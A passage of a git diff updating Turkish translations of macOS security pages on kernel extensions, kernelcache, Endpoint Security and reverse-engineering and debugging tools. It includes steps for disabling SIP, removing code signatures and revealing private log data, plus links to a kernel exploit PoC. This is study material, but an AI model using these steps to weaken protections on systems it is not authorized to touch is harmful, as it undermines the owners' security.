kaynaklanan potansiyel zararı sınırlamaktadır. +XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU: X is Not Unix) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır; böylece tehlikeye atılmış bir süreçten kaynaklanan potansiyel zararı sınırlamaktadır. -Bu **ileşimin nasıl çalıştığı** ve **nasıl savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin: +Bu **iletişimin nasıl çalıştığı** ve **nasıl savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 235ec9fdd..439e8b873 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -8,14 +8,14 @@ Kernel uzantıları (Kexts), **macOS çekirdek alanına doğrudan yüklenen** ve ### Gereksinimler -Açıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Yüklenebilmesi için bir kernel uzantısının karşılaması gereken **gereksinimler** şunlardır: +Açıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Bir kernel uzantısının yüklenebilmesi için karşılaması gereken **gereksinimler** şunlardır: - **Kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**:
- Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde inceleneceği ve neden gerektiği. -- Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılım için kontrol edebilecektir. +- Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılımlar için kontrol edebilecektir. - Ardından, **root** kullanıcısı kernel uzantısını **yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**. - Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). - Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**. @@ -45,13 +45,13 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ## Kernelcache > [!CAUTION] -> `/System/Library/Extensions/` içinde kernel uzantılarının bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext` dosyasını tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir. +> `/System/Library/Extensions/` içinde kernel uzantılarının bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext`'i tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir. -**Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonudur**, ayrıca temel cihaz **sürücüleri** ve **kernel uzantıları** ile birlikte gelir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır. +**Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonu** ile birlikte temel cihaz **sürücüleri** ve **kernel uzantıları** içerir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır. ### Yerel Kernelcache -iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** içinde bulunur, macOS'ta ise şunları kullanarak bulabilirsiniz: **`find / -name "kernelcache" 2>/dev/null`** \ +iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** içinde bulunur, macOS'ta ise şunlarla bulabilirsiniz: **`find / -name "kernelcache" 2>/dev/null`** \ Benim durumumda macOS'ta şunu buldum: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` @@ -85,7 +85,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) adresinde tüm kernel hata ayıklama kitlerini bulmak mümkündür. Bunu indirebilir, bağlayabilir, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) aracıyla açabilir, **`.kext`** klasörüne erişebilir ve **çıkarabilirsiniz**. +[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) adresinde tüm kernel hata ayıklama kitlerini bulmak mümkündür. Bunu indirebilir, monte edebilir, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) aracıyla açabilir, **`.kext`** klasörüne erişebilir ve **çıkarabilirsiniz**. Semboller için kontrol edin: ```bash @@ -109,7 +109,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` ### Kernelcache'i İnceleme -Kernelcache'in sembollere sahip olup olmadığını kontrol edin. +Kernelcache'in sembollere sahip olup olmadığını kontrol et ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index 00ac834d9..3723d9556 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Açıkları +# macOS Kernel Vulnerabilities {{#include ../../../banners/hacktricks-training.md}} -## [OTA'yı Ele Geçirme](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) +## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atarak çekirdeği ele geçirmeye olanak tanıyan birkaç açık açıklanmaktadır.\ +[**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) yazılım güncelleyicisini tehlikeye atarak çekirdeği tehlikeye atan birkaç zafiyet açıklanmaktadır.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index b26fd31ee..ee80e4df1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Sistem Uzantıları / Uç Nokta Güvenliği Çerçevesi +## Sistem Uzantıları / Uç Nokta Güvenlik Çerçevesi Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çalışır** ve bu da uzantı arızası nedeniyle sistem çökmesi riskini azaltır. @@ -12,50 +12,50 @@ Kernel Uzantılarının aksine, **Sistem Uzantıları kullanıcı alanında çal ### **DriverKit Uzantıları** -DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerini alır. Cihaz sürücülerinin (USB, Seri, NIC ve HID sürücüleri gibi) kernel alanında değil, kullanıcı alanında çalışmasına olanak tanır. DriverKit çerçevesi, **belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini** içerir ve kernel, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar. +DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerini alır. Cihaz sürücülerinin (USB, Seri, NIC ve HID sürücüleri gibi) kernel alanı yerine kullanıcı alanında çalışmasına olanak tanır. DriverKit çerçevesi, **belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini** içerir ve kernel, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar. ### **Ağ Uzantıları** Ağ Uzantıları, ağ davranışlarını özelleştirme yeteneği sağlar. Birkaç tür Ağ Uzantısı vardır: -- **Uygulama Proxy**: Akış odaklı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bağlantılara (veya akışlara) göre yönetmesi anlamına gelir. -- **Paket Tüneli**: Bireysel paketlere dayalı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bireysel paketlere göre yönetmesi anlamına gelir. +- **Uygulama Proxy**: Akış odaklı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bağlantılara (veya akışlara) göre yönetmesi anlamına gelir, bireysel paketler yerine. +- **Paket Tüneli**: Bireysel paketlere dayalı, özel bir VPN protokolü uygulayan bir VPN istemcisi oluşturmak için kullanılır. Bu, ağ trafiğini bireysel paketler bazında yönetmesi anlamına gelir. - **Veri Filtreleme**: Ağ "akışlarını" filtrelemek için kullanılır. Akış düzeyinde ağ verilerini izleyebilir veya değiştirebilir. - **Paket Filtreleme**: Bireysel ağ paketlerini filtrelemek için kullanılır. Paket düzeyinde ağ verilerini izleyebilir veya değiştirebilir. - **DNS Proxy**: Özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir. -## Uç Nokta Güvenliği Çerçevesi +## Uç Nokta Güvenlik Çerçevesi -Uç Nokta Güvenliği, Apple tarafından macOS'ta sağlanan bir çerçevedir ve sistem güvenliği için bir dizi API sunar. **Güvenlik satıcıları ve geliştiricilerin kötü niyetli etkinlikleri tanımlamak ve korumak için sistem etkinliğini izleyip kontrol edebilecekleri ürünler geliştirmeleri amacıyla kullanılması amaçlanmıştır.** +Uç Nokta Güvenliği, Apple tarafından macOS'ta sağlanan bir çerçevedir ve sistem güvenliği için bir dizi API sunar. **Güvenlik satıcıları ve geliştiricilerin kötü niyetli etkinlikleri tanımlamak ve korumak için sistem etkinliğini izleyip kontrol edebilecekleri ürünler geliştirmeleri amacıyla kullanılır.** -Bu çerçeve, **sistem etkinliğini izlemek ve kontrol etmek için bir dizi API** sağlar; bu, işlem yürütmeleri, dosya sistemi olayları, ağ ve kernel olayları gibi etkinlikleri içerir. +Bu çerçeve, **sistem etkinliğini izlemek ve kontrol etmek için bir dizi API** sağlar; örneğin, işlem yürütmeleri, dosya sistemi olayları, ağ ve kernel olayları gibi. Bu çerçevenin temeli, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak kernel'de uygulanmıştır. Bu KEXT, birkaç ana bileşenden oluşur: -- **EndpointSecurityDriver**: Bu, kernel uzantısı için "giriş noktası" olarak işlev görür. OS ile Uç Nokta Güvenliği çerçevesi arasındaki ana etkileşim noktasıdır. -- **EndpointSecurityEventManager**: Bu bileşen, kernel kancalarını uygulamaktan sorumludur. Kernel kancaları, çerçevenin sistem çağrılarını keserek sistem olaylarını izlemesine olanak tanır. +- **EndpointSecurityDriver**: Bu, kernel uzantısı için "giriş noktası" olarak işlev görür. OS ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır. +- **EndpointSecurityEventManager**: Bu bileşen, kernel kancalarını uygulamaktan sorumludur. Kernel kancaları, çerçevenin sistem olaylarını izleyebilmesi için sistem çağrılarını kesmesine olanak tanır. - **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimlerini alması gerektiğini takip eder. - **EndpointSecurityMessageManager**: Bu, kullanıcı alanı istemcilerine mesajlar ve olay bildirimleri gönderir. -Uç Nokta Güvenliği çerçevesinin izleyebileceği olaylar şunlara ayrılır: +Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır: - Dosya olayları - İşlem olayları - Soket olayları - Kernel olayları (örneğin, bir kernel uzantısının yüklenmesi/boşaltılması veya bir I/O Kit cihazının açılması) -### Uç Nokta Güvenliği Çerçevesi Mimarisi +### Uç Nokta Güvenlik Çerçevesi Mimarisi
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**Kullanıcı alanı iletişimi**, Uç Nokta Güvenliği çerçevesi ile IOUserClient sınıfı aracılığıyla gerçekleşir. İki farklı alt sınıf, çağıran türüne bağlı olarak kullanılır: +**Kullanıcı alanı iletişimi**, IOUserClient sınıfı aracılığıyla Uç Nokta Güvenlik çerçevesi ile gerçekleşir. İki farklı alt sınıf, çağıran türüne bağlı olarak kullanılır: - **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir. -- **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenliği çerçevesiyle etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımları tarafından kullanılır. +- **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenlik çerçevesi ile etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımları tarafından kullanılır. -Uç Nokta Güvenliği Uzantıları:**`libEndpointSecurity.dylib`** sistem uzantılarının kernel ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Uç Nokta Güvenliği KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır. +Uç Nokta Güvenlik Uzantıları:**`libEndpointSecurity.dylib`** sistem uzantılarının kernel ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Uç Nokta Güvenlik KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır. -**`endpointsecurityd`** uç nokta güvenliği sistem uzantılarını yönetmek ve başlatmakla ilgili önemli bir sistem daemon'udur, özellikle erken önyükleme sürecinde. **Sadece sistem uzantıları**, `Info.plist` dosyalarında **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş olanlar bu erken önyükleme muamelesini alır. +**`endpointsecurityd`** uç nokta güvenlik sistem uzantılarını yönetmek ve başlatmakla ilgili önemli bir sistem daemon'udur, özellikle erken önyükleme sürecinde. **Sadece sistem uzantıları**, `Info.plist` dosyalarında **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş olanlar bu erken önyükleme muamelesini alır. Başka bir sistem daemon'u, **`sysextd`**, **sistem uzantılarını doğrular** ve bunları uygun sistem konumlarına taşır. Ardından ilgili daemon'dan uzantıyı yüklemesini ister. **`SystemExtensions.framework`** sistem uzantılarını etkinleştirmek ve devre dışı bırakmakla sorumludur. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 77dab39fc..91b313528 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -33,7 +33,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...) ARCH=arm64e disarm -c -d /path/bin # Get disasembled jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info ``` -Buradan [**jtool2'yi indirebilirsiniz**](http://www.newosxbook.com/tools/jtool.html) veya `brew` ile kurabilirsiniz. +Buradan [**jtool2'yi indirin**](http://www.newosxbook.com/tools/jtool.html) veya `brew` ile kurun. ```bash # Install brew install --cask jtool2 @@ -54,7 +54,7 @@ jtool2 -d __DATA.__const myipc_server | grep MIG ### Codesign / ldid -> [!TIP] > **`Codesign`** **macOS**'de bulunabilirken, **`ldid`** **iOS**'de bulunabilir +> [!TIP] > **`Codesign`** **macOS**'de bulunabilirken, **`ldid`** **iOS**'de bulunabilir. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -122,7 +122,7 @@ Bir ikili dosyada Objective-C kullanan bir fonksiyon çağrıldığında, derlen Bu fonksiyonun beklediği parametreler şunlardır: -- İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır; oysa bir örnek metodu için, self sınıfın bir örneğine işaret edecektir. +- İlk parametre (**self**) "mesajı alacak **sınıfın örneğine işaret eden bir işaretçi**"dir. Daha basit bir ifadeyle, bu, metodun çağrıldığı nesnedir. Eğer metod bir sınıf metoduysa, bu sınıf nesnesinin (bütün olarak) bir örneği olacaktır, oysa bir örnek metodu için self, sınıfın bir örneğine işaret edecektir. - İkinci parametre (**op**), "mesajı işleyen metodun seçicisidir". Yine, daha basit bir ifadeyle, bu sadece **metodun adıdır.** - Kalan parametreler, metodun gerektirdiği herhangi bir **değerdir** (op). @@ -136,19 +136,19 @@ x64: | **Argüman** | **Kayıt** | **(için) objc_msgSend** | | ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ | -| **1. argüman** | **rdi** | **self: metodun çağrıldığı nesne** | -| **2. argüman** | **rsi** | **op: metodun adı** | -| **3. argüman** | **rdx** | **metodun 1. argümanı** | -| **4. argüman** | **rcx** | **metodun 2. argümanı** | -| **5. argüman** | **r8** | **metodun 3. argümanı** | -| **6. argüman** | **r9** | **metodun 4. argümanı** | -| **7. ve üzeri argüman** |

rsp+
(stack'te)

| **metodun 5. ve üzeri argümanı** | +| **1. argüman** | **rdi** | **self: metodun çağrıldığı nesne** | +| **2. argüman** | **rsi** | **op: metodun adı** | +| **3. argüman** | **rdx** | **metoda 1. argüman** | +| **4. argüman** | **rcx** | **metoda 2. argüman** | +| **5. argüman** | **r8** | **metoda 3. argüman** | +| **6. argüman** | **r9** | **metoda 4. argüman** | +| **7. ve üzeri argüman** |

rsp+
(stack'te)

| **metoda 5. ve üzeri argüman** | ### ObjectiveC metadata dökümü ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu yürütülebilir dosyalarla da çalışır. +[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu, çalıştırılabilir dosyalarla da çalışır. ```bash ./dynadump dump /path/to/bin ``` @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture ``` Bu bölümde saklanan [**bilgiler hakkında daha fazla bilgiye bu blog yazısında ulaşabilirsiniz**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). -Ayrıca, **Swift ikili dosyaları sembollere sahip olabilir** (örneğin, kütüphanelerin fonksiyonlarının çağrılabilmesi için sembolleri saklaması gerekir). **Semboller genellikle fonksiyon adı ve attr hakkında çirkin bir şekilde bilgi içerir**, bu nedenle çok kullanışlıdırlar ve orijinal adı alabilen "**demanglers"** vardır: +Ayrıca, **Swift ikili dosyaları sembollere sahip olabilir** (örneğin, kütüphanelerin fonksiyonlarının çağrılabilmesi için sembolleri saklaması gerekir). **Semboller genellikle fonksiyon adı ve attr hakkında çirkin bir şekilde bilgi içerir**, bu nedenle çok faydalıdırlar ve orijinal adı alabilen "**demanglers"** vardır: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -204,21 +204,21 @@ swift demangle ## Dinamik Analiz > [!WARNING] -> İkili dosyaları hata ayıklamak için, **SIP devre dışı bırakılmalıdır** (`csrutil disable` veya `csrutil enable --without debug`) veya ikili dosyaları geçici bir klasöre kopyalayıp **imzayı kaldırmalısınız** `codesign --remove-signature ` veya ikili dosyanın hata ayıklanmasına izin vermelisiniz (bunu [bu script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) ile kullanabilirsiniz). +> İkili dosyaları hata ayıklamak için, **SIP'nin devre dışı bırakılması gerekir** (`csrutil disable` veya `csrutil enable --without debug`) veya ikili dosyaları geçici bir klasöre kopyalayıp **imzayı kaldırmak** için `codesign --remove-signature ` ya da ikili dosyanın hata ayıklanmasına izin vermek gerekir (bunu [bu script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) kullanarak yapabilirsiniz). > [!WARNING] -> macOS'ta **sistem ikili dosyalarını** (örneğin `cloudconfigurationd`) **hata ayıklamak için SIP devre dışı bırakılmalıdır** (sadece imzayı kaldırmak işe yaramaz). +> macOS'ta **sistem ikili dosyalarını enstrümante etmek** için (örneğin `cloudconfigurationd`), **SIP'nin devre dışı bırakılması gerekir** (sadece imzayı kaldırmak işe yaramaz). ### API'ler macOS, süreçler hakkında bilgi veren bazı ilginç API'ler sunar: - `proc_info`: Her süreç hakkında çok fazla bilgi veren ana API'dir. Diğer süreçlerin bilgilerini almak için root olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur. -- `libsysmon.dylib`: XPC ile sunulan işlevler aracılığıyla süreçler hakkında bilgi almanıza olanak tanır, ancak `com.apple.sysmond.client` yetkisine sahip olmanız gerekir. +- `libsysmon.dylib`: XPC ile sunulan işlevler aracılığıyla süreçler hakkında bilgi almayı sağlar, ancak `com.apple.sysmond.client` yetkisine sahip olmak gerekir. ### Stackshot & mikrostackshotlar -**Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçalarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir. +**Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçalarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir. ### Sysdiagnose @@ -236,7 +236,7 @@ Plist'i `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` konumunda bu MacOS, bir uygulama çalıştırırken **ne yaptığını** anlamaya çalışırken çok yararlı olabilecek birçok günlük oluşturur. -Ayrıca, bazı günlükler **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek için** `` etiketini içerecektir. Ancak, bu bilgileri açığa çıkarmak için **bir sertifika yüklemek mümkündür**. Açıklamaları [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) takip edin. +Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `` etiketini içerecektir. Ancak, bu bilgileri ifşa etmek için **bir sertifika yüklemek mümkündür**. Açıklamaları [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) takip edin. ### Hopper @@ -246,11 +246,11 @@ Hopper'ın sol panelinde, ikilinin sembollerini (**Etiketler**), prosedürler ve #### Orta panel -Orta panelde **dağıtılmış kodu** görebilirsiniz. Ve bunu **ham** dağıtım, **graf** olarak, **dekompile edilmiş** ve **ikili** olarak ilgili simgeye tıklayarak görebilirsiniz: +Orta panelde **dağıtılmış kodu** görebilirsiniz. Ve bunu **ham** dağıtım, **graf** olarak, **decompile edilmiş** ve **ikili** olarak ilgili simgeye tıklayarak görebilirsiniz:
-Bir kod nesnesine sağ tıkladığınızda, o nesneye **referansları/gelen referansları** görebilir veya adını değiştirebilirsiniz (bu, dekompile edilmiş sahte kodda çalışmaz): +Bir kod nesnesine sağ tıkladığınızda, o nesneye **referansları/gelen referansları** görebilir veya adını değiştirebilirsiniz (bu, decompile edilmiş psödo kodda çalışmaz):
@@ -258,7 +258,7 @@ Ayrıca, **orta altta python komutları yazabilirsiniz**. #### Sağ panel -Sağ panelde, **navigasyon geçmişi** (bu sayfaya nasıl geldiğinizi bilmeniz için), bu işlevi çağıran tüm **işlevleri** ve **bu işlevin çağırdığı** tüm işlevleri görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgileri gibi ilginç bilgiler görebilirsiniz. +Sağ panelde, **navigasyon geçmişi** gibi ilginç bilgileri görebilirsiniz (bu sayede mevcut duruma nasıl geldiğinizi bilirsiniz), bu işlevi çağıran tüm **işlevleri** ve **bu işlevin çağırdığı** tüm işlevleri görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgisi. ### dtrace @@ -269,7 +269,7 @@ DTrace, her sistem çağrısı için bir prob oluşturmak üzere **`dtrace_probe > [!TIP] > Dtrace'ı SIP korumasını tamamen devre dışı bırakmadan etkinleştirmek için kurtarma modunda şunu çalıştırabilirsiniz: `csrutil enable --without dtrace` > -> Ayrıca **`dtrace`** veya **`dtruss`** ikililerini **kendiniz derlediğiniz** dosyalar olarak kullanabilirsiniz. +> Ayrıca, **derlediğiniz** **`dtrace`** veya **`dtruss`** ikili dosyalarını da kullanabilirsiniz. Dtrace'ın mevcut prob'ları şu şekilde elde edilebilir: ```bash @@ -283,7 +283,7 @@ ID PROVIDER MODULE FUNCTION NAME ``` Probe adı dört bölümden oluşur: sağlayıcı, modül, işlev ve ad (`fbt:mach_kernel:ptrace:entry`). Eğer adın bazı bölümlerini belirtmezseniz, Dtrace o bölümü joker karakter olarak uygular. -DTrace'i probeleri etkinleştirmek ve ateşlendiklerinde hangi eylemlerin gerçekleştirileceğini belirtmek için D dilini kullanmamız gerekecek. +DTrace'i probeleri etkinleştirmek ve ateşlendiğinde hangi eylemlerin gerçekleştirileceğini belirtmek için D dilini kullanmamız gerekecek. Daha ayrıntılı bir açıklama ve daha fazla örnek için [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) adresine bakabilirsiniz. @@ -394,7 +394,7 @@ Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutl ### FileMonitor -[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silme gibi) izlemeye olanak tanır ve bu olaylar hakkında ayrıntılı bilgi sağlar. +[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silmeler gibi) izlemeye olanak tanır ve bu olaylar hakkında ayrıntılı bilgi sağlar. ### Crescendo @@ -416,11 +416,11 @@ fs_usage -w -f network curl #This tracks network actions ### TaskExplorer [**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosyanın kullandığı **kütüphaneleri**, kullandığı **dosyaları** ve **ağ** bağlantılarını görmek için faydalıdır.\ -Ayrıca ikili süreçleri **virustotal** ile kontrol eder ve ikili hakkında bilgi gösterir. +Ayrıca, ikili süreçleri **virustotal** ile kontrol eder ve ikili hakkında bilgi gösterir. ## PT_DENY_ATTACH -[**bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) **`PT_DENY_ATTACH`** kullanan bir **çalışan daemon'u** nasıl **hata ayıklayacağınız** hakkında bir örnek bulabilirsiniz. +[**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) **`PT_DENY_ATTACH`** kullanan bir **çalışan daemon'u** nasıl **hata ayıklayacağınız** hakkında bir örnek bulabilirsiniz. ### lldb @@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > lldb içinde bir işlemi `process save-core` ile dökün -
(lldb) KomutAçıklama
run (r)Bir kesme noktası vurulana veya işlem sonlanana kadar devam edecek şekilde yürütmeyi başlatır.
process launch --stop-at-entryGiriş noktasında durarak yürütmeyi başlatır
continue (c)Debug edilen işlemin yürütmesini devam ettirir.
nexti (n / ni)Sonraki talimatı yürütür. Bu komut, fonksiyon çağrılarını atlar.
